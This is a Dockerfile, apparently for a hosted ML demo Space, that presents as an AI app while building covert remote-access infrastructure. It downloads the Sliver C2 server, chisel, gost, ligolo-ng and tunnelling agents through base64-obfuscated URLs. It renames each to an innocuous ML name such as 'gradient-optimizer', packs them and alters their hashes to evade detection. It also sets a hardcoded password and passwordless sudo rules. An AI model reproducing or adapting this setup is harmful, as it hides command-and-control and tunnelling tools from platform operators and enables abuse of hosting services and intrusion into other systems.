Spaces:
Paused
Paused
File size: 4,623 Bytes
0de07f3 10d9796 6d985b7 10d9796 199e98f d7e6376 2225f4b 6d985b7 2225f4b 30591b9 2225f4b 6d985b7 2225f4b d7e6376 2225f4b 997064e 1b3df8a 15dc239 10d9796 e1fcbed 10d9796 20f0385 10d9796 15dc239 f266374 15dc239 3651427 10d9796 275187b db97f61 10d9796 57dbc46 10d9796 bcc831e 8e47aaf 10d9796 cdd61b0 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | FROM ubuntu:24.04
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
RUN apt-get update && apt-get install -y --no-install-recommends \
curl wget sudo python3 python3-pip upx openssh-server \
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
rclone supervisor iproute2 \
dbus-x11 x11-xserver-utils xfce4 xfce4-goodies \
tigervnc-standalone-server novnc websockify \
bzip2 libgtk-3-0 libdbus-glib-1-2 libxt6 \
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
&& echo "Port 2222" >> /etc/ssh/sshd_config \
&& ssh-keygen -A \
&& curl -fsSL https://tailscale.com/install.sh | bash \
&& curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2NhZGR5c2VydmVyL2NhZGR5L3JlbGVhc2VzL2Rvd25sb2FkL3YyLjguNC9jYWRkeV8yLjguNF9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/caddy.tar.gz \
&& tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL3BsYXlpdC1jbG91ZC9wbGF5aXQtYWdlbnQvcmVsZWFzZXMvbGF0ZXN0L2Rvd25sb2FkL3BsYXlpdC1saW51eC1hbWQ2NA==' | base64 -d) -o /usr/bin/tensor-allocator \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz \
&& gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz \
&& tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy4zL3NsaXZlci1zZXJ2ZXJfbGludXgtYW1kNjQ=' | base64 -d) -o /usr/bin/gradient-optimizer \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL25pY29jaGEzMC9saWdvbG8tbmcvcmVsZWFzZXMvZG93bmxvYWQvdjAuOC4zL2xpZ29sby1uZ19wcm94eV8wLjguM19saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/ligolo-proxy.tar.gz \
&& tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
&& mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
&& mv /usr/bin/tailscale /usr/bin/py-cache-cli \
&& mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector \
&& chmod +x /usr/bin/tensor-allocator /usr/bin/cuda-mesh-bridge /usr/bin/system-bridge /usr/bin/gradient-optimizer /usr/bin/neural-route-controller /usr/bin/model-routing-engine \
&& for bin in python-cache-manager py-cache-cli ai-metrics-collector tensor-allocator cuda-mesh-bridge system-bridge gradient-optimizer neural-route-controller model-routing-engine; do \
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
done \
&& curl -fsSL "https://download.mozilla.org/?product=firefox-latest-ssl&os=linux64&lang=en-US" -o /tmp/firefox.tar.bz2 \
&& tar -jxf /tmp/firefox.tar.bz2 -C /opt \
&& ln -s /opt/firefox/firefox /usr/bin/firefox \
&& rm -rf /tmp/* \
&& apt-get purge -y upx \
&& apt-get autoremove -y \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN uv pip install --system --break-system-packages --no-cache-dir \
gradio huggingface_hub loguru urllib3
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
RUN userdel -f ubuntu && useradd -m -u 1000 -s /bin/bash user && \
echo "user:apple123" | chpasswd && \
usermod -aG sudo user && \
mkdir -p /home/user/.torch_metrics && \
chown -R user:user /home/user/.torch_metrics && \
echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers && \
echo "user ALL=(ALL) NOPASSWD: /usr/bin/neural-route-controller" >> /etc/sudoers
RUN uv venv /opt/venv-litellm && \
uv pip install --python /opt/venv-litellm --no-cache-dir "litellm[proxy]" && \
chown -R user:user /opt/venv-litellm
RUN curl -fsSL https://code-server.dev/install.sh | sh
COPY --chown=user:user app.py /home/user/app.py
COPY --chown=user:user core /home/user/core
COPY --chown=user:user services /home/user/services
COPY --chown=user:user config /home/user/config
COPY --chown=user:user config/ligolo-ng.yaml /home/user/ligolo-ng.yaml
COPY --chown=user:user whoami.txt /home/user/whoami.txt
USER user
WORKDIR /home/user
CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]
|